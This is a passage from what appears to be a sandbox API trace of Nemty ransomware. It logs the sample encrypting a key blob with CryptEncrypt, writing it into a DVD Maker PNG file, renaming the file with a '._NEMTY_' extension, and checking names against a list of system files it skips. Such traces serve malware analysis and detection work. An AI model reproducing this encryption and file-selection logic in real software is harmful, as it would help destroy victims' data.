lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94378 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340110 [0083.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401e8 [0083.795] Sleep (dwMilliseconds=0x5) [0083.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5989f30, dwHighDateTime=0x1d561e7)) [0083.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5989f30, dwHighDateTime=0x1d561e7)) [0083.801] GetLastError () returned 0x5 [0083.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.801] GetLastError () returned 0x5 [0083.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.801] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.801] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.801] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0083.801] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="EyfqBQQHyI+P3aVai0Y5+N7Y9pEvWMGfs6d6xHWh8RBNpWG0OFlqdLhrPs+JT92M\r\n64+b3HvE+3qtY/dGoZrilnlVQ7tP+fdz1WAKqB/jYGymfd0P6qp3PGHwd7gk9qer\r\nNDIaMdsfyrLc1OwT+uyFibyObfp5yiob1A348kAevt6dV/fcVPcmmZKrRsh62Nz4\r\n4Qu4ttgzWH6LgI6C46kn1I/KWnMa+uLeB9GLjBqA3ZL1vPZwMVMGLWBCY0asOtjL\r\n8o1FlE0+ofL6t1OVOXr3UjwKpTnzfzJre2NBlmvzm+BBILj3IAdNULjSn6wQidl9\r\n8Sq6Jqc5Btait5n6xkhucA==\r\n", pcchString=0x653e91c) returned 1 [0083.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0083.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0083.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0083.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.802] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.802] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.908] CloseHandle (hObject=0xffffffff) returned 0 [0083.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0083.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0083.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.909] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0083.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.909] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0083.909] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0083.910] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0083.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94378 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0083.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, 